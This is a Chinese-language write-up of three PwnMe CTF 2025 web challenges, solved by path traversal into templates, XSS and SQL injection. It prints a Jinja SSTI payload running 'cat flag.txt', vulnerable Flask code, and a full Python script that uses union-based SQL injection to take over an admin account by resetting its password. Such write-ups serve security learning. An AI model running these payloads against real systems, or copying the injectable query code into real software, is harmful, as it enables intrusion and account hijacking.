PwnMe CTF 2025 web
文章目录
- Profile_Editor
- Hack_The_Bot_1
- Crackford
Profile_Editor
进来随便试试弱口令,admin,admin进来了,看到有两个选项,后来才发现其实有一个register注册路由
看profile路由,username这里实际上并没有任何过滤,所以可以借此进行路径穿越,穿越到哪去呢,看下一行,显然只能是html页面
def profile():if not session.get('username'):return redirect('/login')profiles_file = 'profile/' + session.get('username')profiles_file = profiles_file if profiles_file.endswith('.html') else profiles_file + '.html'if commonpath((app.root_path, abspath(profiles_file))) != app.root_path:return render_template('error.html', msg='Error processing profile file!', return_to='/profile')if request.method == 'POST':with open(profiles_file, 'w') as f:f.write(request.form.get('profile'))return redirect('/profile')profile=''if exists(profiles_file):with open(profiles_file, 'r') as f:profile = f.read()return render_template('profile.html', username=session.get('username'), profile=profile)
可惜路径遍历只能在flask的根目录下,试试templates的html文件
发现可以达成SSTI
接下来练练SSTI手
()._class_._base_._subclasses_()
看看能利用的子类有哪些
找到第132个是含有os的类,可以用来执行命令
<p>{{().class.base.subclasses()[132].init.globals[‘popen’](‘cat flag.txt’).read()}}</p>
拿到flag
Hack_The_Bot_1
复现环境的时候失败,不清楚具体原因,看看wp吧
跟N1今年的那道题几乎一摸一样,用iframe加html实体编码来打,唯一的难点可能就在于看懂代码到底ban了些什么东西
Crackford
难度评价为medium,提示需要拿到管理员权限,老规矩进来先看看源码
看到一个可以改变密码的地方
@app.route("/change-password", methods=["GET"])
def change_password():try:decoded = decode(request.args["h"]).split("|")email = decoded[0].strip()user_id = decoded[1].strip()if is_email(email):query = f"SELECT mail FROM {User.__tablename__} WHERE id='{user_id}' AND mail='{email}'"user = db.session.execute(text(query)).first()if user is None:return {"message": "Error"}, 404except Exception as e:return {"message": str(e)}, 500return render_template("change-password.html",email=user[0],)
接收参数h,用|分隔参数email和user_id
代码中有一个进行自定义编码的函数
发现在改变密码相关的路由都要进行自定义的解码操作
抓个包看看,在设置密码界面可以看到h参数
用它给的函数解码看看,这个162不是设置的用户名,应该是用户id
接下来跟着wp学一手思维链
当我们向h中添加原本不存在的字符,如B时,报500,解码错误,
当我们向h末尾添加存在的字符,如0时,报200
当我们向h中间添加存在的字符时,报404
基于以上事实,我们可以得到两个结论
1.h不会处理末尾的字符串
2.当查询不到电子邮件时就会报404错误
其实题目难点是在于黑盒,比赛环境中看不到编码函数,所以wp里花了大量的心思来推理出编码函数,于是直接跳过这一步
拿到编码函数后我们接下来就可以制作自定义h,于是接下来的问题转换为怎么想办法拿到管理员的email和id,同样做一些测试
‘email|122|PWNME CTD@’,404
在id可以使用sql注入,接下来又到了烦人的写脚本时间,我自己写的脚本不对,给个wp的脚本吧
import requests
import realphabet = "Abcd3fgh1jkImn0pqrs7uvwxyz985462"BASE_URL = "http://instance"def to_custom_base32(input):to_bin = ""for i in input:to_bin += format(ord(i), "#010b")[2:]out = ""for chunk in [to_bin[i : i + 5] for i in range(0, len(to_bin), 5)]:index = int(chunk, 2)out += alphabet[index]return outdef send_payload(payload):r = requests.get(f"{BASE_URL}/change-password?h={to_custom_base32(payload)}")if r.status_code == 200:m = re.search(r"password for(.*?)<input", r.text, re.DOTALL)return m.group(1).strip()else:return f"Error {r.status_code}"def send_sqli(payload):return send_payload(f"fake@mail.fr|{payload}|PADDING")def change_password(mail, id, new_password):r = requests.post(f"{BASE_URL}/api/change-password?h={to_custom_base32(f'{mail}|{id}|PADDING')}",json={"password": new_password},)if r.status_code == 200:return Trueelse:return f"Error {r.status_code}"# print(send_sqli("111111' union select group_concat(tbl_name) FROM sqlite_master WHERE type='table' --"))
# user# print(send_sqli("111111' union select sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='user' --"))
# CREATE TABLE user (
# id INTEGER NOT NULL,
# username VARCHAR(100) NOT NULL,
# mail VARCHAR(100) NOT NULL,
# password VARCHAR NOT NULL,
# role VARCHAR NOT NULL,
# PRIMARY KEY (id),
# UNIQUE (mail)
# )# print(send_sqli("111111' union select role FROM user --"))
# guest# print(send_sqli("111111' union select role FROM user WHERE role != 'guest'--"))
# support# print(send_sqli("111111' union select role FROM user WHERE role != 'guest' AND role != 'support'--"))
# top_super_useremail = send_sqli("a' union select mail from user where role='top_super_user'--")
id = send_sqli("a' union select id from user where role='top_super_user'--")
password = "password"if change_password(email, id, password) is True:print(f"Password for {email} (id={id}) has been changed to '{password}'")
else:print("Exploit error")